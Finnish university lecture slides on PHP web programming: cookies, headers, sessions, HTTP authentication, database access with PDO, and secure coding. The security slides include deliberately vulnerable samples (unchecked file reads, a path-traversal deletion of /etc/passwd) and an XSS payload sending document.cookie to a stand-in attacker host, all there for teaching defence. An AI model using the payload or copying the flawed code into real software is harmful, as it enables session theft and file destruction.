PHP-perusteet. Jouni Ikonen - Jouni.Ikonen lut.fi

Koko: px
Aloita esitys sivulta:

Download "PHP-perusteet. Jouni Ikonen - Jouni.Ikonen lut.fi"

Transkriptio

1 CT30A WWW-sovellukset PHP-perusteet Jouni Ikonen - Jouni.Ikonen lut.fi Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen

2 Sisältö PHP Evästeiden käyttö HTTP-otsikkotietojen käsittely ja lähetys Istuntotietojen käsittely Käyttäjien tunnistaminen Tietoturvasta Jouni Ikonen 2

3 Evästeet (cookies) HTTP on tilaton protokolla, ja sen perustoiminnallisuudella ei voida yhdistää peräkkäisiä sivulatauksia toisiinsa Evästeen (Cookie) avulla palvelin voi lähettää selaimelle tiedon, jonka avulla se voidaan tunnistaa myöhemmillä latauskerroilla Selain lähettää palvelimen lähettämän evästeen muuttamattomana takaisin palvelimelle mikäli evästeiden käyttö on estetty selaimen asetuksissa, niitä ei luonnollisesti voi käyttää evästeelle voidaan asettaa voimassaoloaika, ja lisäksi voidaan määritellä, poistetaanko se selainohjelmaa suljettaessa käyttäjä voi poistaa evästeen selainohjelmasta, ja palvelinpäästä voidaan myös pyytää poistamaan eväste esim. asettamalla sen päättymisaika menneisyyteen Jouni Ikonen 3

4 Evästeet (Cookies) Evästeet lähetetään HTTP-otsikoissa ennen varsinaista dokumenttia Evästeiden lähetys voidaan tehdä PHP:n avulla, kutsumalla evästeen lähettämisfunktiota heti dokumentin alussa, ennen sivun varsinaista sisältöä funktion paluuarvo kertoo, onnistuiko tiedot lähettää vai oliko sivun sisältöä jo lähetetty (ei kerro, hyväksyikö käyttäjä evästeen) <?php /* Cookie asetettava ennen tiedoston sisällön tulostamista */ $value = "Cookien sisältö"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> <!DOCTYPE html Jouni Ikonen 4

5 Evästeet (Cookies), PHP PHP:ssä evästeiden asetukseen ja lähettämiseen selaimelle on 2 funktiota: setcookie( string nimi [, string arvo [, int voimassaoloaika [, string polku [, string toimialue [, bool suojattu[, bool $httponly ] ]]]]] ) setrawcookie() on vastaava ilman sisällön URLkoodausta nimi kuvaus esimerkki nimi evästeen nimi (pakollinen) käytetään cookie-taulukossa avaimena arvo selaimelle tallennettava tieto luettaessa: $_COOKIE['nimi'] voimassaoloaika miten kauan voimassa time()+60*60*24 (vuorokausi) polku missä luettavissa /athamala/ luettavissa vain palvelimen hakemistossa /athamala/ toimialue suojattu käytettävän toimialueen (domainin) nimi tarvitaanko suojattu HTTPSyhteys evästeen siirtoon 0 tai 1 (false tai true) Jouni Ikonen 5

6 Evästeet (Cookies), PHP Selaimelta lähetetyt, aikaisemmilla selauskerroilla tallennetut evästeet ovat automaattisesti käytössä $_COOKIE[] -taulukossa Mikäli evästettä ei ole asetettu ja lähetetty aikaisemmin selaimelle, tai se on vanhentunut, $_COOKIE[]-taulukon kyseinen kenttä on tyhjä jos ei muita evästeitä ole, $_COOKIE[] on tyhjä if (isset($_cookie['testicookie'])) { echo "<p>eväste löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\"</p>"; } else { echo "<p>evästettä ei asetettu</p>"; } Jouni Ikonen 6

7 Evästeet (Cookies), PHP Evästeiden poisto tapahtuu myös setcookie()- funktiolla, nimi ja muut käytetyt argumentit yksilöivät evästeen toinen kenttä (cookien sisältö) asetetaan tyhjäksi ("") tai epätodeksi (FALSE) totuusarvon (FALSE) avulla tapahtuvan poiston takia varsinaisena evästeen arvona ei tulisi käyttää totuusarvoa vaihtoehtoinen tapa on asettaa 3. argumentti (voimassaoloaika) menneisyyteen, esim. time() Jouni Ikonen 7

8 Evästeet (Cookies), PHP evästeen asetus: <?php /* Cookie asetettava ennen tiedoston sisältöä */ $value = "Selaimen yksilöivä ja tunnistava merkkijono"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> evästeen käyttö: if (isset($_cookie['testicookie']) ) { echo "<p>cookie löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\" </p>"; } Jouni Ikonen 8

9 HTTP-otsikkotietojen lähetys PHP:llä PHP:n avulla voidaan lisätä ja lähettää palvelimen ja selainohjelman välissä käytettävän HTTP-siirtoprotokollan otsikkokenttiä Otsikkotiedot lisätään header(string string [, bool replace [, int http_response_code]] )-funktiolla oletusarvoisesti korvataan edellinen samanniminen kenttä, mutta voidaan myös lisätä replace-argumentin arvoksi false, mikä lisää toisen samannimisen otsikon, http_response_code määrittelee HTTP-vastauksen tila-arvon headers_sent() -funktiolla voidaan tarkistaa, onko otsikot jo lähetetty selaimelle, vai voidaanko vielä lähettää lisää otsikoita palauttaa TRUE, jos otsikot jo lähetetty, ja FALSE, jos otsikoita voidaan vielä lisätä ja vaihtaa Otsikkokenttien avulla voidaan mm. määrittää dokumentin muoto ohjata uudelle sivulle ilmoittaa virhe sivua ladatessa pyytää käyttäjäntunnistusta jne Jouni Ikonen 9

10 HTTP-otsikkotiedot, uudelleenohjaus PHP:n avulla voidaan selaimen pyyntö ohjata uudelle sivulle Tapahtuu header("location: osoite") -funktiolla HTTP/1.1 -protokollamääritys vaatii absoluuttisen osoitteen ohjausarvona suhteellisen sijaan, mutta selaimet ymmärtävät kyllä suhteellisen Varmempaa siis kuitenkin käyttää absoluuttista osoitetta, joka voidaan muodostaa dynaamisesti esim. <?php $palvelin = $_SERVER['HTTP_HOST']; $hakemisto = rtrim(dirname($_server["php_self"]), '/\\'); $sivu = 'header2.php'; if (!headers_sent()) { header("location: exit; } else { echo "virhe, otsikot jo lähetetty"; }?> Jouni Ikonen 10

11 HTTP-otsikkotiedot, dokumenttityypin määrittely esim. lataapdf.php?file=tiedosto <?php /* asetetaan otsikkokentillä tyypiksi pdf ja määritellään tiedosto ladattavaksi liitetiedostoksi, poistetaan mahdolliset hakemistot tiedostonimestä, ettei pääse lukemaan ihan mitä tahansa tiedostoa */ if (!empty($_get['file'])) { $luettavatiedosto = basename($_get['file']); $luettavatiedosto.= ".pdf"; header('content-type: application/pdf'); header('content-disposition: attachment; filename='.$luettavatiedosto); readfile($luettavatiedosto); } else { echo "<form method=\"get\">tiedoston nimi (esim. \"luentox\"): <input type=\"text\" name=\"file\" /></form>"; }?> Jouni Ikonen 11

12 HTTP-otsikkotiedot, virhekäsittelijä Mikäli halutaan määritellä palvelin palauttamaan virhetapauksessa (esim. tiedostoa ei löydy) erilainen virhesivu, voidaan se tehdä määrittelemällä virheenkäsittelijäksi php-sivu, jossa lähetetään otsikkotietona virhetieto ja sen jälkeen näytetään haluttu virheilmoitus virhe.php: <?php if (!headers_sent()) { header("http/ Not Found"); }?> <!DOCTYPE Jouni Ikonen 12

13 Istuntotietojen käsittely Istuntotietojen avulla voidaan tallentaa tietoa käsiteltäväksi myöhemmissä php-sivuissa, joita samalla kerralla haetaan Sivuilla vierailevalle annetaan yksilöllinen tunniste, joka tallennetaan evästeeksi tai välitetään otsikkotiedoissa mukana Mikäli php-esikäsittelijän asetuksissa (ei siis php-koodissa) on määritelty istunnon automaattinen aloitus (session.auto_start = 1), tai skriptissä kutsutaan funktiota session_start(), mahdollistetaan muuttujien tallennus istuntotietoihin tieto istunnosta luodaan, kun ensimmäinen muuttuja rekisteröidään istuntotietoihin (seuraava kalvo) huom. mikäli automaattinen aloitus on käytössä, ei voida olioita tallentaa istuntotietoihin, koska luokkamääritykset tulee ladata ennen istunnon aloitusta olion uudelleenluomisen takia Jouni Ikonen 13

14 Istuntotietojen käsittely Tietoja mahdollista tallentaa istunnon ajaksi $_SESSION[]-taulukkoon (suositeltava) tai session_register() -funktiolla (vanhentunut) session_unregister(), session_is_registered() -funktioilla poistetaan tai tarkistetaan muuttuja istuntotiedoista $_SESSION[]-taulukon kenttiä voidaan käsitellä samalla tavoin kuin muitakin muuttujia esim. unset($_session['laskuri']); isset($_session['laskuri']); session_destroy(); Jouni Ikonen 14

15 Istuntotietojen käsittely <?php session_start(); <html> // The session_start() function must appear BEFORE the if(isset($_session['views'])) $_SESSION['views']=$_SESSION['views']+1; else $_SESSION['views']=1; // if $SESSION['views'] does not exist create it echo "Views=". $_SESSION['views'];?> More: Jouni Ikonen 15

16 Istuntotietojen välitys Istuntotietojen tunniste voidaan välittää eri kutsujen välillä evästeiden avulla (voimassaolo siihen asti, kunnes selain suljetaan), oletusevästeenä $_COOKIE['PHPSESSID'] URL-osoitteen parametrina Istuntotiedoista välitetään selaimelle vain istuntotunniste, muut istuntokohtaiset tiedot $_SESSION -taulukossa pidetään vain palvelimella Evästeiden käyttöä suositellaan istuntotunnisteen välitykseen, mutta PHP tarjoaa vaihtoehtoiseksi myös URL-osoitteeseen koodauksen URL-osoitteessa näkyminen vaatii use_trans_sid -asetusarvon päälle laittamista php-esikäsittelijän asetuksista (nykyisissä versioissa poissa käytöstä oletuksena) voi aiheuttaa ongelmia, mikäli istuntotietoja tallennetaan kirjanmerkkeihin tai julkisten tietokoneiden välimuisteihin Jouni Ikonen 16

17 HTTP-käyttäjäntunnistus PHP:llä Mikäli PHP:tä ajetaan Apache-palvelimen moduulina, voidaan PHP:ssä käyttää HTTP-käyttäjäntunnistuslaatikkoa Käyttäjäntunnistus voi olla Basic- (käyttäjän tunnus ja salasana lähetetään selaimelta palvelimelle) tai Digest-tyyppiä (salasanalla muodostetaan vastaus satunnaiseen haasteeseen, eikä sitä lähetetä verkon yli) Käyttäjän syöttämät tiedot tallentuvat muuttujiin $_SERVER['PHP_AUTH_USER'] sisältää käyttäjätunnuksen $_SERVER['PHP_AUTH_PW'] sisältää salasanan (ei Digestvaihtoehdossa) $_SERVER['PHP_AUTH_DIGEST'] sisältää Digestautentikoinnissa saadun vastauksen Näitä muuttujia voidaan sitten vertailla sallittuihin tunnuksiin ja niiden salasanoihin Jouni Ikonen 17

18 HTTP-käyttäjätunnistus PHP:llä <?php if (!isset($_server['php_auth_user'])) { header('www-authenticate: Basic realm="testisivu"'); header('http/ Unauthorized'); /* lähetetään 401-tilaviesti, joka tarkoittaa käyttäjäntunnistuksen vaatimista */ echo 'Et ole tunnistautunut'; exit; } else { // tässä tilanteessa pitää tarkistaa, että alla olevilla tunnuksilla on oikeutta jotain tehdä! echo "<p>olet siis \"{$_SERVER['PHP_AUTH_USER']}\", ja "; echo "salasanasi on \"{$_SERVER['PHP_AUTH_PW']}\"</p>"; }?> More: Jouni Ikonen 18

19 Tietoturva Riippuen palvelimen asetuksista, PHP:llä voidaan ajaa hyvinkin vapaasti erilaisia toimintoja pääsy palvelimen tiedostoihin yhteydet palvelimelta muihin koneisiin järjestelmäkomentojen ajo palvelimella Sen takia tuleekin tietoturvaa miettiä PHP-sivuja luodessa erittäin tarkkaan Tietoturva muodostuu sekä palvelimen oikeanlaisesta konfiguroinnista että PHP-skriptien tietoturvasta Jouni Ikonen 19

20 Tietoturva Kaksi tärkeää perusasiaa: Palvelimen konfiguroinnissa PHP-moduulille annetavaan vain tarpeelliset oikeudet Tarkista skriptissä kaikki syötteet, jotka tulevat käyttäjältä tai muualta varmistamattomasta lähteestä WWW-palvelimen hakemistossa olevalla tiedostolla on URL-osoite, jonka avulla voidaan kutsua suoraan (vaikkei tarkoitus olekaan, vaan esim. php:n include():lla), mikäli ei ole palvelimesta estetty (tarkkana nimeämisten ja liitettävien tiedostojen hakemiston valinnan kanssa) Tarkistamattomien syötteiden ja väärien oikeuksien avulla voi saada pahaa jälkeä tiedostojärjestelmässä ja tietokantayhteyksissä Käydään tietokantakyselyiden tietoturvasta tarkemmin ensi kerralla, kun käsitellään tietokantojen käyttöä PHP:llä yleensäkin Jouni Ikonen 20

21 Tietoturva, lomakkeen käsittely PHP-skriptissä ei voi olettaa, että lomakkeen tietoja käsitellessä asiakaspuolen tarkistukset olisivat tarpeeksi kattavat javascript-tarkistukset voi ohittaa kytkemällä javascriptin pois selaimen asetuksista lomakkeeseen määritellyt arvot voi ilkeämielinen ohittaa tekemällä uuden lomakkeen tai vaikka kutsumalla skriptiä muulla tavoin, esim. telnet-yhteyden kautta tai omalla ohjelmalla <form action="/process.php" method="post"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> <form action="http://example.org/process.php" method="post"> <input type="text" name="color" /> <input type="submit" /> </form> Jouni Ikonen 21

22 Tietoturva, syötteen käsittely <?php /* käyttäjän määrittelemien tiedostojen lukeminen onnistuu kätevästi samasta hakemistosta, mutta onko turvallista? */ $tiedosto = $_GET['tiedosto']; $hakemisto = './' // nykyinen hakemisto $hakemistotiedosto = $hakemisto.$tiedosto; $jep = readfile($hakemistotiedosto);?> Jouni Ikonen 22

23 Tietoturva <?php // remove a file from the user's home directory $username = $_POST['user_submitted_name']; $homedir = "/home/$username"; $file_to_delete = "$userfile"; unlink ("$homedir/$userfile"); echo "$file_to_delete has been deleted!";?> <?php // removes a file from anywhere on the hard drive that // the PHP user has access to. If PHP has root access: $username = "../etc/"; $homedir = "/home/../etc/"; $file_to_delete = "passwd"; unlink ("/home/../etc/passwd"); echo "/home/../etc/passwd has been deleted!";?> Jouni Ikonen 23

24 Tietoturva <?php // removes a file from the hard drive that // the PHP user has access to. $username = $_SERVER['REMOTE_USER']; // tunnistettu käyttäjä // käyttäjän kotihakemiston muodostus $homedir = "/home/$username"; $file_to_delete = basename("$userfile"); // poistaa polut unlink ($homedir/$file_to_delete); $fp = fopen("/home/logging/filedelete.log","+a"); // kirjoittaa lokiin poiston tiedot $logstring = "$username $homedir $file_to_delete"; fwrite ($fp, $logstring); fclose($fp); echo "$file_to_delete has been deleted!";?> Jouni Ikonen 24

25 Tietoturva, "cross-site scripting" XSS Cross-site scripting -termillä (XSS) tarkoitetaan hyökkäyksiä, joiden avulla käyttäjän luottamalla sivulla näytetäänkin toisen sivun sisältöä vähän edelliseen liittyvä, koska usein näytettävä data on määritelty lomakkeen syötteen avulla erityinen uhka käyttäjien luottamilla sivuilla, joilla paljon käyttäjien syöttämän tekstin näyttämistä, esim. keskustelupalstat XSS-uhkia voidaan välttää varmistamalla ulkoisesta lähteestä tulevan datan oikeellisuus käyttämällä PHP:n sisäänrakennettuja funktioita muokkaamaan syötteistä oikeellisia muotoja, esim. htmlentities() tekee html:n käyttämistä merkeistä html - erityismerkittyjä, esim. "< >" "< >" strip_tags() poistaa html- ja php-tagit merkkijonosta utf8_decode() koodaa utf8-merkistöön koodatun ISO merkistön mukaisen tekstin ISO merkistöön suhtautumalla kriittisesti kaikkeen dataan, kunnes ne on varmasti korjattu Jouni Ikonen 25

26 XSS, esimerkki PHP-skripti (esim. vieraskirja) <form> <input type="text" name="message"> <br /> <input type="submit"> </form> <?php if (isset($_get['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br />"); fclose($fp); } readfile('./messages.txt');?> Mitä jos käyttäjä syöttääkin viestiksi <script> document.location = 'http://paha.osoite.fi/sivu.php? cookies=' + document.cookie </script>? OK, hyvin konfiguroiduilla nykyisellä versiolla ei välttämättä mitään, koska syötteessä käsitellään jo tietyt merkit automaattisesti, mutta antaa aihetta www-sovelluskehittäjänkin miettiä tiettyjä tietoturva-asioita Jouni Ikonen 26

27 Tietoturva, Include-sivujen käyttö tietokantaskripti.php <?php /* pistetään asetukset sopivasti tiedostoon, josta ne luetaan mukavasti eri skripteistä */ include('db.inc') db.inc: <?php $mysql_host = "localhost"; $mysql_user = "jee"; $mysql_pass = "joo"; // tehdään tietokannalle jotain?> Mikäli sisällytettävä tiedosto db.inc on nimetty esimerkin kaltaisesti ja pistetty WWWpalvelimen sivuhakemistoon, eikä palvelimella ei ole.inc -tiedostoja pistetty käsittelyyn PHP-esikäsittelijän kautta, sisällytettävän tiedoston nimen arvaamalla voidaan selvittää arkaluontoisia asioita, esim. käyttäjätunnuksia - toisaalta myös näiden sivujen suora PHPkäsittely voi myöskin aiheuttaa ongelmia, mikäli kehittäjä ei ole huomioinut asiaa?> Jouni Ikonen 27

28 CT30A WWW-sovellukset Tietokantojen käyttö WWWsovelluksissa Jouni.Ikonen lut.fi Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen

29 Tietokannan käyttö PHP:ssä PHP sisältää sisäänrakennetun tuen useille eri tietokannoille ja tietokantayhteyksille MySQL, Oracle, PostgreSQL, SQLite, ODBC,... Käsitellään esimerkkinä MySQL-tietokannan käyttöä lähes poikkeuksetta vastaavat funktiot löytyvät myös muille mainituille tietokannoille, ja lisäksi... PHP:n versiossa 5 on esitelty PHP Data Objects -malli, jolla pyritään luomaan yhtenäinen liityntä eri tietokantoihin tietokantayhteyden määrittelevät funktion argumentit riippuvat käytettävästä tietokannasta, muuten toiminnot ovat yhtäläiset eri tietokantojen välillä Arto Hämäläinen & Jouni Ikonen 2

30 Tietokantayhteyden vaiheet Tietokantaa käyttävä PHP-skripti suorittaa yleensä seuraavat toiminnot: yhteyden luominen tietokantaan (osoite, käyttäjätunnus, salasana) käytettävän tietokannan valinta ja kyselyn suorittaminen kyselyn palauttaman tiedon haku tulosresurssista taulukkoon tai olioon ja tietojen käsittely skriptissä vain kyselyissä, joissa haetaan tietoa yhteyden katkaisu Arto Hämäläinen & Jouni Ikonen 3

31 PHP, Tietokantayhteyden luominen Tietokantayhteys luodaan PHP-skriptistä joko mysql_connect() tai mysql_pconnect() -funktioilla, jotka palauttavat onnistuessaan yhteyden tunnisteen tai epäonnistuessaan arvon epätosi (false) mysql_pconnect() luo pysyvän yhteyden, joka ei katkea skriptin suorituksen jälkeen, uudet tämän funktion kutsut palauttavat aikaisemmin luodun yhteyden tunnisteen yhteydenmuodostuksen tyypin vaihto ei vaikuta skriptin toimintaan, tehokkuuteen voi kylläkin vaikuttaa $yhteys = mysql_connect('localhost', 'kayttaja', 'salasana'); if (!$yhteys) { } die( "Tietokantayhteys epäonnistui: ". mysql_error()) ; echo "Tietokantayhteys onnistui"; // suoritetaan halutut komennot // voidaan sulkea lopuksi haluttaessa komennolla mysql_close(); Arto Hämäläinen & Jouni Ikonen 4

32 PHP, tietokannan valinta ja kyselyn suoritus Käytettävä tietokanta valitaan funktiolla mysql_select_db('tietokannan_nimi') Tietokantakysely suoritetaan funktiolla $tulos = mysql_query('kysely') onnistunut kysely palauttaa tulosresurssin tai totuusarvon tosi (riippuen kyselyn tyypistä), epäonnistunut totuusarvon false (epätosi) /* valitaan tietokanta */ mysql_select_db('oma_tietokanta') or die ('Tietokannan valinta epäonnistui'); /* määritellään kysely ja suoritetaan se */ $kysely = 'select * from henkilo'; $tulos = mysql_query($kysely) or die ('Kysely epäonnistui: '. mysql_error()); Arto Hämäläinen & Jouni Ikonen 5

33 PHP, tulosresurssin käsittely Onnistuneen kyselyn jälkeen tietokantakyselyn tulosresurssi (mikäli kyseessä oli tiedon haku) voidaan käydä läpi rivi riviltä siirtäen tietokannan tiedot PHP:n sisältämiin tietotyyppeihin Kunkin rivin tiedot voidaan tallentaa taulukkomuotoon suorittamalla silmukassa $taulukko = mysql_fetch_array($tulos) -funktio funktiolle voidaan määritellä toisena argumenttina taulukon avainten haluttu muoto: MYSQL_ASSOC (tietokannan sarakkeen nimi), MYSQL_NUM (numero), MYSQL_BOTH (molemmat, oletus) Vaihtoehtoisia funktioita kyselyresurssin läpikäymiseen ovat mysql_fetch_row() (samanlainen kuin mysql_fetch_array MYSQL_NUM -määrityksellä ja mysql_fetch_object() (palauttaa olion) Arto Hämäläinen & Jouni Ikonen 6

34 PHP, tulosresurssin käsittely mysql_fetch_... -funktiot palauttavat kerrallaan yhden rivin ja siirtävät sisäistä osoitinta rivin verran eteenpäin Mikäli tietoja ei enää ole saatavilla, funktiot palauttavat totuusarvon epätosi Niiden käyttö tulee siis sisällyttää esim. while-silmukkaan tyhjän haun sattuessa while-silmukan sisältöä ei suoriteta yhtään kertaa Haluttaessa palautettujen rivien määrä saadaan funktiolla mysql_num_rows($tulos), ja muokkauskyselyssä muokattujen rivien määrä funktiolla mysql_affected_rows($yhteys) /* käydään läpi tulosresurssia */ while ($taulukko = mysql_fetch_array($tulos, MYSQL_BOTH)) { } echo "Sarake 1:". $taulukko[0]; // tai $taulukko['sarake1'] Arto Hämäläinen & Jouni Ikonen 7

35 Tietokannan käyttö PHP:ssä, yhteenveto $host = "localhost"; //tietokannan osoite $database = "oma_tietokanta"; //tietokannan nimi $user = "username"; //käyttäjänimi $password = "salasana"; //salasana mysql_connect($host, $user, $password); mysql_select_db($database) or die ("Database selection failed"); $query = "select * from taulu"; $tulos = mysql_query($query); /* tehdään jotain kyselyn tulokselle */ mysql_close(); // suljetaan yhteys Arto Hämäläinen & Jouni Ikonen 8

36 PHP, tietoturva tietokannan käytössä Merkittävin uhka tietoturvalle PHP-käytössä on tarkistamattomat kyselyt, joissa käytetään käyttäjän antamaa syötettä Tarkistamaton kysely saattaa mahdollistaa tietokannan tietojen lukemisen, muuttamisen, poiston tai oikeuksien muutoksen Turvalliseen käyttöön on useita ohjeita käytä tunnusta, jolla on vain välttämättömimmät oikeudet tietokantaan tarkista, onko annettu tieto oikeaa tyyppiä, ja tarvittaessa muunna tieto haluttuun muotoon, esim. settype($offset, 'integer'); $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset"; käytä erikoismerkkien asianmukaiseen käsittelyyn tarkoitettuja funktioita kyselyä valmistellessa, esim. MySQL:n kanssa mysql_real_escape_string() älä tulosta skriptissä tietokantaan liittyviä tietoja, ettei sitä paljastu tärkeitä tietoja tietokannasta Arto Hämäläinen & Jouni Ikonen 9

37 PHP Data Objects, PDO PHP Data Objects (PDO) -laajennus sisältää yhtenäisen liitynnän eri tietokantoihin PHP:stä saatavissa alkaen PHP:n versiosta 5 käytettävän tietokannan vaihto onnistuu PDOluokan muodostinfunktion argumentteja vaihtamalla varsinaiset käyttöfunktiot ovat samat kaikille tietokannoille Tuki eri tietokannoille on PDO:n mukaisissa tietokannan ajureissa PDO-ajurit olemassa yleisimmille tietokannoille (MySQL, Oracle, PostgreSQL, SQLite, ODBC, jne.) Arto Hämäläinen & Jouni Ikonen 10

38 PDO, Yhteyden luonti Tietokantayhteys luodaan luomalla PDO-luokan olio $yhteys = new PDO(...) luokkana tietokantatyypistä riippumatta PDO Luokan muodostinfunktiolle annetaan argumenttina tietokannasta riippuva yhteyden määrittelevä merkkijono ja mahdollisesti käyttäjänimi ja salasana esim. MySQL: $yhteys = new PDO('mysql:host=localhost;dbname=oma_tietokanta', $kayttaja, $salasana); esim. SQLite2: $yhteys = new PDO('sqlite2:.\tietokanta.db'); Yhteys puretaan asettamalla olion muuttujan arvoksi null, esim. $yhteys = null; Arto Hämäläinen & Jouni Ikonen 11

39 PDO, Kyselyn vaiheet Kysely valmistellaan tietokantayhteyden olion prepare()-funktiolla $kysely = $yhteys->prepare('select * FROM henkilo'); Kysely suoritetaan execute()-funktiolla $kysely->execute(); funktion palautusarvosta voidaan tarkistaa sen onnistuminen Kyselyn tuloksia voidaan käsitellä olion fetch() -jäsenfunktion avulla Arto Hämäläinen & Jouni Ikonen 12

40 PDO, muuttujien sitominen valmisteltuihin kyselyihin PDO:n avulla voidaan muodostaa dynaamisia kyselyitä sitomalla muuttujia valmisteltuihin kyselyhin bindparam() -funktiolla muuttujat voidaan sitoa nimettyihin kohtiin kyselyssä, $kysely->bindparam(':nimi', $nimi) indeksein, joihin viitataan kyselyssä?-merkillä $kysely->bindparam(1, $nimi); $kysely->prepare('select * from henkilo where etunimi = :nimi ') $kysely->bindparam(':nimi', $etunimi); // TAI $kysely->prepare('select * from henkilo where etunimi =? ') $kysely->bindparam(1, $etunimi); Arto Hämäläinen & Jouni Ikonen 13

41 PDO, muuttujien sitominen valmisteltuihin kyselyihin Suoritettaessa kyselyä execute()-funktiolla sijoitetaan muuttujien arvot kyselyihin sidotuille paikoilleen Muuttujan arvoa muuttamalla ja kutsumalla execute()-funktiota uudestaan saadaan aikaisemmin valmisteltu kysely suoritettua uudestaan uudella muuttujan arvolla Esim. taulukon tiedot voidaan lisätä tietokantaan foreachsilmukassa sijoittamalla sidottuihin muuttujiin taulukon kenttien arvot ja kutsumalla PDO:n execute-funktiota silmukan ajokerroilla Arto Hämäläinen & Jouni Ikonen 14

42 Yksinkertainen PDO-esimerkki // yhteydenmuodostus riippuu käytettävästä tietokannasta $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu, haetaan kaikkien Brianeiden tiedot $etunimi = 'Brian'; $kysely = $yhteys->prepare('select * FROM henkilo WHERE etunimi =?'); $kysely->bindparam(1, $etunimi); // kyselyn suoritus ja tuloksen käsittely if ($tila = $kysely->execute()) { } while ($rivi = $kysely->fetch()) { print_r($rivi); } $etunimi = 'Matti'; $kysely->execute(); //... Mattien tietojen haku $yhteys = null; // yhteyden sulkeminen Arto Hämäläinen & Jouni Ikonen 15

43 Yksinkertainen PDO-esimerkki, lisäys $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu $kysely = $yhteys->prepare('insert INTO henkilo (etunimi, sukunimi, puhelinnro) VALUES (:etunimi, :sukunimi, :puhelinnro)'); $kysely->bindparam( :etunimi, $etunimi); $kysely->bindparam( :sukunimi, $sukunimi); $kysely->bindparam( :puhelinnro, $puhelinnro); $etunimi = "Brian"; $sukunimi = "Kottarainen"; $puhelinnro = ' '; $kysely->execute(); // Brianin tiedot $etunimi = "Matti"; $sukunimi = "Meikäläinen"; $puhelinnro = ' '; $kysely->execute(); // Matin tiedot $yhteys = null; // yhteyden sulkeminen Arto Hämäläinen & Jouni Ikonen 16

44 PHP DOM-funktiot PHP:n avulla on mahdollista käsitellä dokumentteja Document Object Model -mallin (DOM) mukaisesti PHP:n DOM-funktiot on tarkoitettu erityisesti XML-tiedostojen käsittelyyn, mutta XHTML-tiedostojen käsittelykin onnistuu hyvin DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto Arto Hämäläinen & Jouni Ikonen 17

45 PHP DOM-funktiot DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto $dom = new DomDocument(); $dom->loadhtmlfile( "http://esimerkki.fi/exercises.html" ); Esim. vaihdetaan sivun tyylikirjaston osoite, halutaan käyttää testi.css - tyylitiedostoa: $linkit = $dom->getelementsbytagname('link'); for ($i = 0; $i < $linkit->length; $i++) { if ($linkit->item($i)->getattribute('rel') == 'stylesheet'){ $linkit->item($i)->setattribute('href', 'testi.css'); } } Arto Hämäläinen & Jouni Ikonen 18

46 PHP DOM-funktiot Poistetaan kaikki <p></p> -elementit (kappaleet tiedostosta $runko = $dom->getelementsbytagname('body')->item(0); $kappaleet = $dom->getelementsbytagname('p'); $maara = $kappaleet->length; for($i=0;$i<$maara;$i++) } Lisätään uusi elementti $element = $dom->createelement("h2", "Uusi kakkostason otsikko"); $dom->appendchild($element); Tulostetaan dokumentti näytölle echo $dom->savehtml(); Arto Hämäläinen & Jouni Ikonen 19

47 PHP, PDF-funktiot PHP:n avulla voidaan luoda ja käsitellä PDF-tiedostoja yleisimmin käytetty PDFLib -kirjastoa (www.pdflib.com), myös vapaita kirjastoja olemassa PDF-tiedostojen luontiin PHP:llä (esim. FPDF ) PHP5:ssä voidaan käyttää PHP5:n oliomallin mukaista ohjelmointirajapintaa, PHP4:ssä erillisiä funktioita esim. dokumentin luonti FPDF-kirjastoa käyttäen käyttäen: /* PHP 5 */ require('fpdf.php'); /* ladataan fpdf-toiminnot fpdf:sta, joka on asennettu */ $pdf=new FPDF(); /* oletuksena Pysty A4 -koko ja millimetrit yksiköinä, sama kuin $pdf=new FPDF('P','mm','A4'); */ /* tämän jälkeen $pdf-oliota käyttäen voidaan pdf-dokumenttiin lisätä tietoa */ Arto Hämäläinen & Jouni Ikonen 20

48 PHP, FPDF-funktiot Funktioiden avulla voidaan käsitellä PDF:n näkyvää sisältöä ja sen yleisiä tietoja (tekijä yms.) <?php require('fpdf.php'); $pdf=new FPDF(); $pdf->setauthor("arto Hämäläinen"); $pdf->addpage(); $pdf->image('kuva.jpg', 0, 0, 150); $pdf->setfont('arial','b',16); $pdf->setxy(5,40); $pdf->cell($pdf->getstringwidth('esimerkkiteksti')+5,10,'esimerkkiteksti',1); $pdf->output();?> Arto Hämäläinen & Jouni Ikonen 21

Tuotteiden tiedot: Lisää uuden tuotteen tiedot. Muuta tai poista tuotteen tiedot. Selaa kaikkien tuotteiden tietoja.

Tuotteiden tiedot: Lisää uuden tuotteen tiedot. Muuta tai poista tuotteen tiedot. Selaa kaikkien tuotteiden tietoja. laskutus_index http://media.stadia.fi/~0700527/laskutus/laskutus_index.html Sivu 1/1 13.12.2007 Laskutus -tietokanta Henkilöiden tiedot: Lisää uuden henkilön tiedot Muuta tai poista henkilön tiedot Selaa

Lisätiedot

Harjoituksen aiheena on tietokantapalvelimen asentaminen ja testaaminen. Asennetaan MySQL-tietokanta. Hieman linkkejä:

Harjoituksen aiheena on tietokantapalvelimen asentaminen ja testaaminen. Asennetaan MySQL-tietokanta. Hieman linkkejä: Linux-harjoitus 6 Harjoituksen aiheena on tietokantapalvelimen asentaminen ja testaaminen. Asennetaan MySQL-tietokanta. Hieman linkkejä: http://www.mysql.com/, MySQL-tietokantaohjelman kotisivu. http://www.mysql.com/doc/en/index.html,

Lisätiedot

SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet

SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet A271117, Tietokannat Teemu Saarelainen teemu.saarelainen@kyamk.fi Lähteet: Leon Atkinson: core MySQL Ari Hovi: SQL-opas TTY:n tietokantojen perusteet-kurssin

Lisätiedot

